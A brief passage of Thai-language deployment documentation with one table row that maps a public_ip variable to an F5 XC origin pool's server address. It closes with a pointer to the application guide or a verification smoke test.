public_ip | F5 XC Origin Pool | ที่อยู่เซิร์ฟเวอร์ต้นทาง |
ดำเนินการต่อไปยัง แอปพลิเคชัน สำหรับคู่มือการใช้งาน หรือ ตรวจสอบ สำหรับการทดสอบแบบ smoke test